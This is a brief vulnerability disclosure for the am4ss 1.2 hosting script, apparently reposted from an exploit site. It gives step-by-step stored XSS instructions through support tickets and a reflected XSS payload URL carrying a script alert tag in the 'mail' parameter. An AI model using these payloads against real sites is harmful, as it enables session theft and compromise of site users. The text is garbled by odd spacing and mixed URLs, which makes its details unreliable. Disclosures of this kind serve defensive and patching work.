Am4ss 1.2 & lt; = three xss

Title: am4ss 1.2 <= Multiple Vulnerabilities
Author: s3n4t00r
Affected version: all version
XSS storage type 1
 
1-Register
 
2-Login here [http: // localhost/am4ss/orderdev. php? Step = 2]
 
3-Create Ticket and add your code html or js
 
4-Show Tickets [http://www.bkjia.com/exp/am4ss/tickets. php]
 
 
XSSXSS storage type 2
1-Register
 
2-Login here [http: // localhost/am4ss/hosting. php? Do = order & planid = 1 & step = 6]
 
3-Create Ticket and Change data [domaine] using Tamper Data
 
4-Show Tickets [http://www.bkjia.com/exp/am4ss/tickets. php]
 
 
 
 
XSS reflected type
 
Here: [http: // localhost/exp/am4ss/misc. php? Do = deletemail & mail = (XSS)]
 
Example http://www.bkjia.com/exp/am4ss/misc. php? Do = deletemail & mail = "> <script> alert ('sec-producer com ') </script>